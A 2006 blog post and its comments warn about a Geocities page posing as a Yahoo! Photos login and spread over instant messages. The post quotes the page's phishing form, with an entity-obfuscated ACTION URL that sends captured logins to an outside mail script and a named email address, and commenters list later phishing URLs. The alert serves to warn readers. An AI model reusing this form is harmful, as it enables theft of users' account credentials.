Alert: “pupzz2000” phishing attack via Yahoo! Geocities

May 8, 2006 by 5 Comments

http://geocities.com/pupzz2000/

This URL is being sent around via IM. It’s a very convincing page that looks like a login for Yahoo! Photos, being circulated by what I suspect is a virus/trojan that uses AIM to propagate as I received this URL via an IM from someone I knew.

Looking at the page’s source (as I was skeptical about having to log into Yahoo! Photos at a geocities.com URL), I found:

<FORM METHOD="POST" ACTION="&#104;&#116;&#116;&#112;://&#119;&#119;&#119;&#050;&#046;&#102;&#105;&#098;&#101;&#114;&#098;&#105;&#116;&#046;&#110;&#101;&#116;/&#102;&#111;&#114;&#109;/&#109;&#097;&#105;&#108;&#116;&#111;&#046;&#099;&#103;&#105;" ENCTYPE="x-www-form-urlencoded">

	<INPUT TYPE="hidden" NAME="Mail_From" VALUE="Yahoo">
    <INPUT TYPE="hidden" NAME="Mail_To" VALUE="dielameragainlol@googlemail.com">
    <INPUT TYPE="hidden" NAME="Mail_Subject" VALUE="Yahoo id">

Decoding that form ACTION, it is the following URL:

http://www2.fiberbit.net/form/mailto.cgi

This Geocities page needs to be shut down ASAP before too many people get their Yahoo! accounts compromised. I’ve already sent a message to Yahoo! via it’s abuse web contact form. But, keep on the lookout for this kind of thing.

Tags:
,
,
,

Related posts:

  1. Yahoo! BBAuth for blog comment authentication
  2. Is Socialmarks just another del.icio.us or Yahoo! My Web 2.0?
  3. Nigerian 4-1-9 scam, now via Yahoo! IM
  4. Blog updates, now via MailChimp
  5. Esther Schindler gives us the term “flowerbox indicator”
Filed Under: Geeking out

Comments

  1. Vanessa Beeeeatriz says
    May 11, 2006 at 1:19 pm

    Nedward! :)
    missed you and wanted to say hi. will i ever see you again?

    Reply
  2. Coron says
    May 11, 2006 at 5:28 pm

    I don’t really understand how people can fall for this. I mean seriously I don’t think a big site like yahoo will want you to log in at geocities.com.

    Reply
  3. Abhinav says
    June 8, 2006 at 3:05 am

    Well .. sometimes yahoo photos needs you to sign up to view privately shared albums. It is foolish, but easy to confuse “hot pics” with that, and provide your login. The original mail appears “clean”, as it comes from a compromised account.

    The latest email doing the round gives the link as http://geocities.com/my_new_hot_pics/

    Reply
  4. bradford says
    July 1, 2006 at 7:02 pm

    This has changed to a paypal phish using the harvested yahoo contacts:
    http://www.castlecops.com/t160455-ATTENTION_Possible_breaking_News.html

    Reply
  5. chris says
    January 10, 2007 at 8:25 pm

    it’s back. just had a link – http://geocities.com/hot_new_one/ – from someone i know who isnt very tech savvy or paranoid about what she clicks on, as with the above i am suspicious of these things so i checked the source and its also fiberbit. a Google search led me to this page.

    Reply

Speak Your Mind

*